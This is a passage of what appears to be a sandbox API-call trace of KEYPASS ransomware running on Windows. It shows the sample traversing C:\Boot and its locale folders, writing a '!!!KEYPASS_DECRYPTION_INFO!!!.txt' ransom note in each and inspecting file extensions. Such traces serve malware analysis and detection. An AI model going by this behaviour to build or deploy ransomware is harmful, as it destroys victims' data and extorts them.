pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.404] PathFileExistsW (pszPath="C:\\Boot\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.404] CreateFileW (lpFileName="C:\\Boot\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f578, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x350 [0235.408] GetFileType (hFile=0x350) returned 0x1 [0235.408] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f5a8, cchData=2 | out: lpLCData="0") returned 2 [0235.408] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f594, cchData=2 | out: lpLCData="0") returned 2 [0235.408] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f584, cchData=2 | out: lpLCData="0") returned 2 [0235.408] WriteFile (in: hFile=0x350, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x3a4, lpOverlapped=0x0) returned 1 [0235.409] WriteFile (in: hFile=0x350, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x2a, lpOverlapped=0x0) returned 1 [0235.409] CloseHandle (hObject=0x350) returned 1 [0235.409] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0xc8abb8 [0235.409] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.413] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.413] PathFindExtensionW (pszPath="C:\\Boot\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.413] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.413] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0235.414] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.414] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0235.414] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.414] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0235.414] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.414] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0235.414] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.414] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.414] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.414] GetLastError () returned 0x3f0 [0235.414] PathAppendW (in: pszPath="C:\\Boot\\bg-BG\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\bg-BG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.414] PathFileExistsW (pszPath="C:\\Boot\\bg-BG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.429] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\bg-bg\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x354 [0235.430] GetFileType (hFile=0x354) returned 0x1 [0235.430] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.430] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.430] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.430] WriteFile (in: hFile=0x354, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.431] WriteFile (in: hFile=0x354, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.431] CloseHandle (hObject=0x354) returned 1 [0235.431] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba5f8 [0235.431] FindNextFileW (in: hFindFile=0xcba5f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.431] FindNextFileW (in: hFindFile=0xcba5f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.431] PathFindExtensionW (pszPath="C:\\Boot\\bg-BG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.431] FindNextFileW (in: hFindFile=0xcba5f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.431] PathFindExtensionW (pszPath="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned=".mui" [0235.431] FindNextFileW (in: hFindFile=0xcba5f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.432] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.432] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0235.432] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.432] PathFindExtensionW (pszPath="C:\\Boot\\bootvhd.dll") returned=".dll" [0235.432] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.432] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.432] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.432] GetLastError () returned 0x3f0 [0235.432] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\cs-CZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.432] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.437] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\cs-cz\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358 [0235.439] GetFileType (hFile=0x358) returned 0x1 [0235.439] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.439] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.439] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.439] WriteFile (in: hFile=0x358, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.440] WriteFile (in: hFile=0x358, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.440] CloseHandle (hObject=0x358) returned 1 [0235.440] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba878 [0235.440] FindNextFileW (in: hFindFile=0xcba878, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.440] FindNextFileW (in: hFindFile=0xcba878, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.440] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.440] FindNextFileW (in: hFindFile=0xcba878, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.440] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0235.441] FindNextFileW (in: hFindFile=0xcba878, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.441] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned=".mui" [0235.441] FindNextFileW (in: hFindFile=0xcba878, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.441] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.441] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.441] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.441] GetLastError () returned 0x3f0 [0235.441] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\da-DK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.441] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.441] CreateFileW (lpFileName="C:\\Boot\\da-DK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\da-dk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0235.472] GetFileType (hFile=0x35c) returned 0x1 [0235.472] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.472] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.472] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.472] WriteFile (in: hFile=0x35c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.473] WriteFile (in: hFile=0x35c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.473] CloseHandle (hObject=0x35c) returned 1 [0235.474] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba3f8 [0235.474] FindNextFileW (in: hFindFile=0xcba3f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.474] FindNextFileW (in: hFindFile=0xcba3f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.474] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.474] FindNextFileW (in: hFindFile=0xcba3f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.474] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0235.474] FindNextFileW (in: hFindFile=0xcba3f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.474] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\memtest.exe.mui") returned=".mui" [0235.474] FindNextFileW (in: hFindFile=0xcba3f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.474] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.474] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.474] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.474] GetLastError () returned 0x3f0 [0235.474] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\de-DE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.475] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.475] CreateFileW (lpFileName="C:\\Boot\\de-DE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\de-de\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x360 [0235.505] GetFileType (hFile=0x360) returned 0x1 [0235.505] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.505] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.505] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.506] WriteFile (in: hFile=0x360, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.506] WriteFile (in: hFile=0x360, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.507] CloseHandle (hObject=0x360) returned 1 [0235.507] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba378 [0235.507] FindNextFileW (in: hFindFile=0xcba378, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.507] FindNextFileW (in: hFindFile=0xcba378, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.507] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.507] FindNextFileW (in: hFindFile=0xcba378, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.507] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0235.507] FindNextFileW (in: hFindFile=0xcba378, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.507] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\memtest.exe.mui") returned=".mui" [0235.507] FindNextFileW (in: hFindFile=0xcba378, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.508] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.508] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.508] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.508] GetLastError () returned 0x3f0 [0235.508] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\el-GR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.508] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.509] CreateFileW (lpFileName="C:\\Boot\\el-GR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\el-gr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x368 [0235.679] GetFileType (hFile=0x368) returned 0x1 [0235.679] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.679] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.679] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.679] WriteFile (in: hFile=0x368, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.680] WriteFile (in: hFile=0x368, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.680] CloseHandle (hObject=0x368) returned 1 [0235.680] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba2f8 [0235.680] FindNextFileW (in: hFindFile=0xcba2f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.680] FindNextFileW (in: hFindFile=0xcba2f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.680] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.680] FindNextFileW (in: hFindFile=0xcba2f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.680] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0235.681] FindNextFileW (in: hFindFile=0xcba2f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.681] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\memtest.exe.mui") returned=".mui" [0235.681] FindNextFileW (in: hFindFile=0xcba2f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.681] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.681] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.681] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.681] GetLastError () returned 0x3f0 [0235.681] PathAppendW (in: pszPath="C:\\Boot\\en-GB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.681] PathFileExistsW (pszPath="C:\\Boot\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.682] CreateFileW (lpFileName="C:\\Boot\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\en-gb\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x36c [0235.682] GetFileType (hFile=0x36c) returned 0x1 [0235.682] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.682] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.682] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.682] WriteFile (in: hFile=0x36c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.683] WriteFile (in: hFile=0x36c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.683] CloseHandle (hObject=0x36c) returned 1 [0235.684] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba278 [0235.684] FindNextFileW (in: hFindFile=0xcba278, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.684] FindNextFileW (in: hFindFile=0xcba278, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.684] PathFindExtensionW (pszPath="C:\\Boot\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.684] FindNextFileW (in: hFindFile=0xcba278, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.684] PathFindExtensionW (pszPath="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned=".mui" [0235.684] FindNextFileW (in: hFindFile=0xcba278, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.684] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.684] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.684] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.684] GetLastError () returned 0x3f0 [0235.684] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.684] PathFileExistsW (pszPath="C:\\Boot\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.684] CreateFileW (lpFileName="C:\\Boot\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x364 [0235.692] GetFileType (hFile=0x364) returned 0x1 [0235.693] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.693] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.693] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.693] WriteFile (in: hFile=0x364, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.694] WriteFile (in: hFile=0x364, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.694] CloseHandle (hObject=0x364) returned 1 [0235.694] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba778 [0235.694] FindNextFileW (in: hFindFile=0xcba778, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.694] FindNextFileW (in: hFindFile=0xcba778, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.694] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.694] FindNextFileW (in: hFindFile=0xcba778, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.694] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0235.694] FindNextFileW (in: hFindFile=0xcba778, 